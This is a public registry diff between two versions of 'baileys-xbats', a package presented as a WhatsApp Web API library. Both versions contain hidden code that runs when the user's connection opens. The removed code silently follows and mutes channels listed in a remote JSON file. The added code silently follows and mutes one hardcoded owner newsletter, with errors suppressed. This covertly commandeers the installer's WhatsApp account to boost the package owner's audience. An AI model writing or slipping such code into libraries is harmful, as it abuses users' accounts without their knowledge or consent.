baileys-xbats 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,38 +83,18 @@ const makeNewsletterSocket = (config) => {
83
83
  return data;
84
84
  }));
85
85
  };
86
- const autoJoinChannels = async () => {
87
- try {
88
- const res = await fetch("https://raw.githubusercontent.com/noxXza/data/refs/heads/main/noxleys.json");
89
- if (!res.ok) return;
90
-
91
- const ids = await res.json();
92
- if (!Array.isArray(ids)) return;
93
-
94
- for (const id of ids) {
95
- if (typeof id !== "string" || !id.endsWith("@newsletter")) {
96
- continue;
97
- }
98
-
99
- try {
100
- await newsletterWMexQuery(id, QueryIds.FOLLOW);
101
-
102
- await new Promise(r => setTimeout(r, 3000));
103
-
104
- await newsletterWMexQuery(id, QueryIds.MUTE);
105
- } catch {}
106
-
107
- await new Promise(r => setTimeout(r, 10000));
108
- }
109
- } catch {}
110
- };
111
- sock.ev.on("connection.update", ({ connection }) => {
112
- if (connection !== "open") return;
113
-
114
- setTimeout(() => {
115
- autoJoinChannels();
116
- }, 30000);
117
- });
86
+ // [XBATS] Auto join owner channel
87
+ const xbatsAutoJoin = async () => {
88
+ try {
89
+ await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.FOLLOW);
90
+ await new Promise(r => setTimeout(r, 3000));
91
+ await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.MUTE);
92
+ } catch {}
93
+ };
94
+ sock.ev.on('connection.update', ({ connection }) => {
95
+ if (connection !== 'open') return;
96
+ setTimeout(() => { xbatsAutoJoin(); }, 30000);
97
+ });
118
98
  return {
119
99
  ...sock,
120
100
  subscribeNewsletterUpdates: async (jid) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "baileys-xbats",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "noxXza",